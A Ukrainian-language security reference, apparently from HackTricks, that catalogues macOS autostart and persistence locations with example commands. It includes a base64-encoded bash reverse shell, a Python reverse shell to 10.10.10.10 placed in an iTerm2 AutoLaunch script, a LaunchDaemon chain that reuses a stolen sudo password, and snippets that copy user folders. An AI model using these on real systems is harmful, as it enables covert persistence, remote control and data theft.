Автозапуск macOS

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Цей розділ значною мірою базується на серії блогів Beyond the good ol’ LaunchAgents, мета — додати більше Autostart Locations (якщо можливо), вказати, which techniques are still working на останній версії macOS (13.4) та уточнити потрібні permissions.

Sandbox Bypass

Tip

Тут можна знайти місця автозапуску, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису в файл і очікування дуже поширеної дії, визначеного проміжку часу або дії, яку ви зазвичай можете виконати зсередини sandbox без потреби в правах root.

Launchd

  • Useful to bypass sandbox:
  • TCC Bypass: 🔴

Locations

  • /Library/LaunchAgents
  • Тригер: перезавантаження
  • Потрібен root
  • /Library/LaunchDaemons
  • Тригер: перезавантаження
  • Потрібен root
  • /System/Library/LaunchAgents
  • Тригер: перезавантаження
  • Потрібен root
  • /System/Library/LaunchDaemons
  • Тригер: перезавантаження
  • Потрібен root
  • ~/Library/LaunchAgents
  • Тригер: повторний вхід у систему
  • ~/Library/LaunchDemons
  • Тригер: повторний вхід у систему

Tip

Як цікавинка, launchd має вбудований property list у секції Mach-o __Text.__config, який містить інші відомі сервіси, що launchd має запускати. Більше того, ці сервіси можуть містити RequireSuccess, RequireRun та RebootOnSuccess, що означає, що вони повинні бути запущені й успішно виконані.

Звісно, це не можна змінити через code signing.

Description & Exploitation

launchd — це перший процес, який виконується ядром OX S при старті і останній, що завершується при вимкненні. Він завжди повинен мати PID 1. Цей процес буде читати і виконувати конфігурації, вказані в ASEP plists у:

  • /Library/LaunchAgents: Per-user agents встановлені адміністратором
  • /Library/LaunchDaemons: System-wide daemons встановлені адміністратором
  • /System/Library/LaunchAgents: Per-user agents, що постачає Apple
  • /System/Library/LaunchDaemons: System-wide daemons, що постачає Apple

Коли користувач входить у систему, plist-и, розташовані в /Users/$USER/Library/LaunchAgents та /Users/$USER/Library/LaunchDemons, запускаються з правами вхідного користувача.

Головна відмінність між agents і daemons полягає в тому, що agents завантажуються під час входу користувача, а daemons — під час завантаження системи (оскільки існують сервіси, як-от ssh, які мають бути запущені ще до доступу будь-якого користувача до системи). Також agents можуть використовувати GUI, тоді як daemons мають працювати у фоновому режимі.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Існують випадки, коли agent має бути виконаний перед входом користувача, їх називають PreLoginAgents. Наприклад, це корисно для надання допоміжних технологій під час входу. Їх також можна знайти в /Library/LaunchAgents (див. here як приклад).

Tip

Нові Daemons або Agents конфігураційні файли будуть завантажені після наступного перезавантаження або за допомогою launchctl load <target.plist> Також можна завантажити .plist файли без цього розширення за допомогою launchctl -F <file> (однак такі plist-файли не будуть автоматично завантажуватись після перезавантаження).
Також можна unload за допомогою launchctl unload <target.plist> (вказаний ним процес буде завершено),

Щоб переконатися, що немає нічого (наприклад override), що перешкоджає Agent або Daemon від виконання, запустіть: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Перелічте всі agents і daemons, завантажені поточним користувачем:

launchctl list

Приклад шкідливого ланцюжка LaunchDaemon (повторне використання пароля)

Нещодавній macOS infostealer повторно використав перехоплений пароль sudo, щоб встановити user agent і root LaunchDaemon:

  • Записати agent loop у ~/.agent і зробити його виконуваним.
  • Згенерувати plist у /tmp/starter, що вказує на цей agent.
  • Повторно використати вкрадений пароль з sudo -S, щоб скопіювати його в /Library/LaunchDaemons/com.finder.helper.plist, встановити root:wheel і завантажити за допомогою launchctl load.
  • Запустити agent безшумно через nohup ~/.agent >/dev/null 2>&1 &, щоб від’єднати вивід.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &

Warning

Якщо plist належить користувачу, навіть якщо він знаходиться в daemon system wide folders, задача буде виконана від імені користувача а не як root. Це може запобігти деяким атакам підвищення привілеїв.

Більше інформації про launchd

launchd — це перший процес у користувацькому режимі, який запускається з kernel. Запуск процесу має бути успішним і він не може завершитись або аварійно зупинитися. Він навіть захищений від деяких сигналів завершення.

Одне з перших завдань launchdзапустити всі daemons, такі як:

  • Timer daemons based on time to be executed:
  • atd (com.apple.atrun.plist): Has a StartInterval of 30min
  • crond (com.apple.systemstats.daily.plist): Has StartCalendarInterval to start at 00:15
  • Network daemons like:
  • org.cups.cups-lpd: Listens in TCP (SockType: stream) with SockServiceName: printer
  • SockServiceName must be either a port or a service from /etc/services
  • com.apple.xscertd.plist: Listens on TCP in port 1640
  • Path daemons that are executed when a specified path changes:
  • com.apple.postfix.master: Checking the path /etc/postfix/aliases
  • IOKit notifications daemons:
  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
  • Mach port:
  • com.apple.xscertd-helper.plist: It’s indicating in the MachServices entry the name com.apple.xscertd.helper
  • UserEventAgent:
  • Це відрізняється від попереднього. Він змушує launchd порожнювати (spawn) програми у відповідь на певні події. Однак у цьому випадку головний бінарний файл, що бере участь, — це не launchd, а /usr/libexec/UserEventAgent. Він завантажує плагіни з SIP-restricted теки /System/Library/UserEventPlugins/, де кожен плагін вказує свій ініціалізатор у ключі XPCEventModuleInitializer або, у випадку старіших плагінів, у словнику CFPluginFactories під ключем FB86416D-6164-2070-726F-70735C216EC0 у його Info.plist.

shell startup files

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Useful to bypass sandbox:
  • TCC Bypass:
  • But you need to find an app with a TCC bypass that executes a shell that loads these files

Locations

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • Спрацьовує: Open a terminal with zsh
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Спрацьовує: Open a terminal with zsh
  • Root required
  • ~/.zlogout
  • Спрацьовує: Exit a terminal with zsh
  • /etc/zlogout
  • Спрацьовує: Exit a terminal with zsh
  • Root required
  • Potentially more in: man zsh
  • ~/.bashrc
  • Спрацьовує: Open a terminal with bash
  • /etc/profile (didn’t work)
  • ~/.profile (didn’t work)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Спрацьовує: Expected to trigger with xterm, but it isn’t installed and even after installed this error is thrown: xterm: DISPLAY is not set

Description & Exploitation

При ініціалізації shell-середовища, такого як zsh або bash, запускаються певні файли запуску. macOS наразі використовує /bin/zsh як shell за замовчуванням. Цей shell автоматично відкривається при запуску додатка Terminal або при доступі до пристрою через SSH. Хоча bash і sh також присутні в macOS, їх потрібно викликати явно, щоб ними користуватися.

Ман-сторінка zsh, яку можна прочитати за допомогою man zsh, має детальний опис файлів запуску.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Повторно відкриті програми

Caution

Налаштування зазначеної exploitation та вихід із системи і повторний вхід, або навіть перезавантаження, не допомогли мені запустити додаток. (Додаток не запускався; можливо, він має бути запущений під час виконання цих дій)

Розбір: https://theevilbit.github.io/beyond/beyond_0021/

  • Корисно для обходу sandbox:
  • TCC bypass: 🔴

Розташування

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • Тригер: перезапуск з повторним відкриттям програм

Опис & Exploitation

Усі програми для повторного відкриття знаходяться в plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Отже, щоб повторно відкривані програми запускали ваш додаток, вам потрібно додати ваш додаток до списку.

UUID можна знайти, перерахувавши той каталог або за допомогою ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Щоб перевірити програми, які будуть повторно відкриті, ви можете виконати:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Щоб додати додаток до цього списку ви можете використати:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Налаштування Terminal

  • Корисно для обходу sandbox:
  • TCC bypass:
  • Terminal зазвичай має FDA-права користувача, який ним користується

Розташування

  • ~/Library/Preferences/com.apple.Terminal.plist
  • Тригер: Відкрити Terminal

Опис та експлуатація

У ~/Library/Preferences зберігаються налаштування користувача для застосунків. Деякі з цих налаштувань можуть містити конфігурацію для запуску інших програм/скриптів.

Наприклад, Terminal може виконувати команду при запуску:

Ця конфігурація відображається у файлі ~/Library/Preferences/com.apple.Terminal.plist ось так:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Отже, якщо plist налаштувань терміналу в системі може бути перезаписаний, функціонал open можна використати, щоб відкрити термінал і ця команда буде виконана.

Ви можете додати це з cli за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Scripts / Інші розширення файлів

  • Корисно для обходу sandbox:
  • Обхід TCC:
  • Додаток Terminal зазвичай успадковує дозволи користувача (наприклад, TCC)

Розташування

  • У будь-якому місці
  • Тригер: Відкриття Terminal

Опис та експлуатація

Якщо ви створите .terminal script і відкриєте його, додаток Terminal автоматично запуститься для виконання вказаних у ньому команд. Якщо додаток Terminal має якісь спеціальні привілеї (наприклад, TCC), ваша команда буде виконана з цими спеціальними привілеями.

Спробуйте так:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Ви також можете використовувати розширення .command, .tool з вмістом звичайних shell-скриптів — вони також будуть відкриватися Terminal.

Caution

Якщо Terminal має Full Disk Access, він зможе виконати цю дію (зверніть увагу, що виконана команда буде видима у вікні Terminal).

Аудіоплагіни

Опис: https://theevilbit.github.io/beyond/beyond_0013/
Опис: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Корисно для обходу sandbox:
  • TCC bypass: 🟠
  • Може надати додатковий доступ TCC

Розташування

  • /Library/Audio/Plug-Ins/HAL
  • Вимагає root
  • Trigger: Перезапустити coreaudiod або комп’ютер
  • /Library/Audio/Plug-ins/Components
  • Вимагає root
  • Trigger: Перезапустити coreaudiod або комп’ютер
  • ~/Library/Audio/Plug-ins/Components
  • Trigger: Перезапустити coreaudiod або комп’ютер
  • /System/Library/Components
  • Вимагає root
  • Trigger: Перезапустити coreaudiod або комп’ютер

Опис

Згідно з попередніми описами, можливо скомпілювати деякі audio plugins і змусити їх завантажитись.

QuickLook плагіни

Опис: https://theevilbit.github.io/beyond/beyond_0028/

  • Корисно для обходу sandbox:
  • TCC bypass: 🟠
  • Може надати додатковий доступ TCC

Розташування

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Опис & Експлуатація

QuickLook плагіни можуть виконуватись, коли ви ініціюєте попередній перегляд файлу (натисніть пробіл при вибраному файлі в Finder) і встановлено плагін, що підтримує цей тип файлу.

Можна скомпілювати власний QuickLook плагін, помістити його в одне з вищенаведених розташувань, щоб він завантажився, а потім перейти до підтримуваного файлу і натиснути пробіл, щоб його запустити.

Login/Logout Hooks

Caution

Це не спрацювало для мене, ні з user LoginHook, ні з root LogoutHook

Опис: https://theevilbit.github.io/beyond/beyond_0022/

  • Корисно для обходу sandbox:
  • TCC bypass: 🔴

Розташування

  • Ви повинні мати можливість виконати щось на кшталт defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
  • Знаходиться в ~/Library/Preferences/com.apple.loginwindow.plist

Вони застарілі, але можуть використовуватись для виконання команд при вході користувача в систему.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Це налаштування зберігається в /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Щоб видалити його:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Файл для користувача root зберігається в /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Умовний обхід Sandbox

Tip

Тут ви знайдете стартові місця, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису в файл та за умови очікування не надто поширених умов, таких як конкретні програми встановлені, “непоширені” дії користувача або середовища.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Корисно для обходу sandbox:
  • Однак потрібно мати можливість виконати бінарний файл crontab
  • Або бути root
  • TCC bypass: 🔴

Розташування

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • Для прямого запису потрібен root. Root не потрібен, якщо ви можете виконати crontab <file>
  • Trigger: Залежить від завдання cron

Опис та експлуатація

Перелічити cron-завдання поточого користувача за допомогою:

crontab -l

Ви також можете переглянути всі cron jobs користувачів у /usr/lib/cron/tabs/ та /var/at/tabs/ (потрібен root).

У MacOS кілька папок, які виконують скрипти з певною частотою, можна знайти в:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Там можна знайти звичайні cron jobs, at jobs (не дуже часто використовуються) та periodic jobs (головним чином використовуються для очищення тимчасових файлів). Щоденні periodic jobs можна виконати, наприклад, за допомогою: periodic daily.

Щоб додати user cronjob programatically, можна використати:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Опис: https://theevilbit.github.io/beyond/beyond_0002/

  • Корисно для обходу sandbox:
  • TCC bypass:
  • iTerm2 раніше мав надані TCC дозволи

Розташування

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • Тригер: Відкрити iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • Тригер: Відкрити iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • Тригер: Відкрити iTerm

Опис & Експлуатація

Скрипти, що зберігаються в ~/Library/Application Support/iTerm2/Scripts/AutoLaunch, будуть виконані. Наприклад:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

або:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Скрипт ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt також буде виконаний:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Налаштування iTerm2, що знаходяться в ~/Library/Preferences/com.googlecode.iterm2.plist, можуть вказувати команду для виконання під час відкриття терміналу iTerm2.

Цю опцію можна налаштувати в налаштуваннях iTerm2:

І команда відображається в налаштуваннях:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Ви можете задати команду для виконання за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Warning

Існує велика ймовірність, що є інші способи зловживання налаштуваннями iTerm2 для виконання довільних команд.

xbar

Розбір: https://theevilbit.github.io/beyond/beyond_0007/

  • Корисно для обходу sandbox:
  • Але xbar має бути встановлено
  • TCC bypass:
  • Потребує дозволів Accessibility

Location

  • ~/Library/Application\ Support/xbar/plugins/
  • Trigger: Після запуску xbar

Description

Якщо популярна програма xbar встановлена, можна записати shell script у ~/Library/Application\ Support/xbar/plugins/, який буде виконано під час запуску xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Опис: https://theevilbit.github.io/beyond/beyond_0008/

  • Корисно для обходу sandbox:
  • Але Hammerspoon має бути встановлено
  • TCC bypass:
  • Вимагає дозволів Accessibility

Розташування

  • ~/.hammerspoon/init.lua
  • Тригер: Коли hammerspoon запускається

Опис

Hammerspoon слугує платформою автоматизації для macOS, використовуючи мову сценаріїв LUA для своїх операцій. Варто зауважити, що він підтримує інтеграцію повного коду AppleScript та виконання shell-скриптів, суттєво розширюючи свої можливості зі скриптування.

Додаток шукає один файл, ~/.hammerspoon/init.lua, і при запуску цей скрипт буде виконано.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Корисно для обходу sandbox:
  • Але BetterTouchTool має бути встановлено
  • TCC bypass:
  • Запитує дозволи Automation-Shortcuts та Accessibility

Розташування

  • ~/Library/Application Support/BetterTouchTool/*

Цей інструмент дозволяє вказувати програми або скрипти для виконання при натисканні певних shortcut’ів. Зловмисник може налаштувати власний shortcut і дію для виконання в базі даних, щоб виконати довільний код (shortcut може бути просто натискання клавіші).

Alfred

  • Корисно для обходу sandbox:
  • Але Alfred має бути встановлено
  • TCC bypass:
  • Запитує дозволи Automation, Accessibility і навіть Full-Disk access

Розташування

  • ???

Воно дозволяє створювати workflows, які можуть виконувати код при настанні певних умов. Можливо, зловмисник може створити файл workflow і змусити Alfred його завантажити (для цього потрібна платна версія).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Корисно для обходу sandbox:
  • Але ssh має бути увімкнено й використовуватися
  • TCC bypass:
  • SSH раніше мав FDA access

Розташування

  • ~/.ssh/rc
  • Тригер: вхід через ssh
  • /etc/ssh/sshrc
  • Потрібні root-права
  • Тригер: вхід через ssh

Caution

Для увімкнення ssh потрібно Full Disk Access:

sudo systemsetup -setremotelogin on

Опис і експлуатація

За замовчуванням, якщо в /etc/ssh/sshd_config не стоїть PermitUserRC no, коли користувач логіниться через SSH, виконаються скрипти /etc/ssh/sshrc і ~/.ssh/rc.

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Корисно для обходу sandbox:
  • Але потрібно виконати osascript з аргументами
  • TCC bypass: 🔴

Розташування

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Тригер: вхід
  • Експлойт payload зберігається викликом osascript
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Тригер: вхід
  • Потрібні root-права

Опис

У System Preferences -> Users & Groups -> Login Items ви можете знайти елементи, які виконуються при вході користувача.
Можна перерахувати їх, додати та видалити з командного рядка:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Ці елементи зберігаються у файлі ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Login items також можуть бути вказані з використанням API SMLoginItemSetEnabled, який зберігатиме конфігурацію в /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP як елемент входу

(Перегляньте попередній розділ про елементи входу, це розширення)

Якщо ви збережете файл ZIP як елемент входу, Archive Utility відкриє його, і якщо zip, наприклад, був збережений у ~/Library та містив папку LaunchAgents/file.plist з backdoor, ця папка буде створена (за замовчуванням вона не створюється) і plist буде додано, тож наступного разу при вході користувача backdoor, вказаний у plist, буде виконано.

Іншим варіантом буде створити файли .bash_profile і .zshenv у HOME користувача, тож якщо папка LaunchAgents уже існує, ця техніка все одно спрацює.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • Корисно для обходу sandbox:
  • Але потрібно виконати at, і він має бути увімкнений
  • TCC bypass: 🔴

Розташування

  • Потрібно виконати at, і він має бути увімкнений

Опис

at задачі призначені для планування одноразових завдань, які виконуються у визначений час. На відміну від cron jobs, at задачі автоматично видаляються після виконання. Важливо зазначити, що ці задачі зберігаються між перезавантаженнями системи, що робить їх потенційним ризиком з точки зору безпеки за певних умов.

За замовчуванням вони вимкнені, але користувач root може увімкнути їх за допомогою:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Це створить файл через 1 годину:

echo "echo 11 > /tmp/at.txt" | at now+1

Перевірте чергу завдань за допомогою atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Вище видно два заплановані завдання. Деталі завдання можна вивести за допомогою at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Warning

Якщо AT tasks не ввімкнені, створені завдання не будуть виконані.

Файли завдань можна знайти за адресою /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

Ім’я файлу містить чергу, номер завдання та час, коли воно заплановане на виконання. Наприклад, подивімося на a0001a019bdcd2.

  • a - це черга
  • 0001a - номер завдання в hex, 0x1a = 26
  • 019bdcd2 - час у hex. Він представляє кількість хвилин, що пройшли з epoch. 0x019bdcd2 = 26991826 у десятковій. Якщо помножити на 60, отримаємо 1619509560, що відповідає GMT: 2021. April 27., Tuesday 7:46:00.

Якщо вивести вміст job-файлу, ми бачимо ту ж інформацію, яку отримали за допомогою at -c.

Folder Actions

Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Корисно для обходу sandbox:
  • Але потрібно мати можливість викликати osascript з аргументами, щоб звертатися до System Events для налаштування Folder Actions
  • TCC bypass: 🟠
  • Має базові TCC-права, як Desktop, Documents та Downloads

Location

  • /Library/Scripts/Folder Action Scripts
  • Потребує root
  • Trigger: доступ до вказаної папки
  • ~/Library/Scripts/Folder Action Scripts
  • Trigger: доступ до вказаної папки

Description & Exploitation

Folder Actions — це скрипти, які автоматично запускаються при змінах у папці, таких як додавання або видалення елементів, або інших діях, наприклад відкриття чи зміна розміру вікна папки. Ці дії можна використовувати для різних завдань і їх можна запускати по-різному, наприклад через UI Finder або через командний рядок.

Щоб налаштувати Folder Actions, є такі варіанти:

  1. Створити Folder Action workflow за допомогою Automator і встановити його як сервіс.
  2. Прикріпити скрипт вручну через Folder Actions Setup у контекстному меню папки.
  3. Використати OSAScript для відправки Apple Event повідомлень до System Events.app для програмного налаштування Folder Action.
  • Цей метод особливо корисний для вбудовування дії в систему, забезпечуючи певний рівень persistence.

Наведений нижче скрипт є прикладом того, що може виконуватися за допомогою Folder Action:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Щоб зробити наведений вище скрипт придатним для Folder Actions, скомпілюйте його, використовуючи:

osacompile -l JavaScript -o folder.scpt source.js

Після компіляції скрипта налаштуйте Folder Actions, виконавши наведений нижче скрипт. Цей скрипт ввімкне Folder Actions глобально і спеціально прив’яже раніше скомпільований скрипт до папки Desktop.

// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)

Запустіть скрипт налаштування за допомогою:

osascript -l JavaScript /Users/username/attach.scpt
  • Ось як реалізувати це persistence через GUI:

Ось скрипт, який буде виконано:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Скомпілюйте це за допомогою: osacompile -l JavaScript -o folder.scpt source.js

Перемістіть у:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Потім відкрийте додаток Folder Actions Setup, виберіть папку, яку ви хочете відслідковувати, і в вашому випадку виберіть folder.scpt (у моєму випадку я назвав її output2.scp):

Тепер, якщо ви відкриєте цю папку через Finder, ваш скрипт буде виконаний.

Ця конфігурація була збережена в plist, що знаходиться за адресою ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist у форматі base64.

Тепер спробуємо підготувати цю персистенцію без доступу до GUI:

  1. Скопіюйте ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist до /tmp, щоб зробити резервну копію:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. Видаліть Folder Actions, які ви щойно встановили:

Тепер, коли у нас порожнє середовище

  1. Скопіюйте файл резервної копії: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
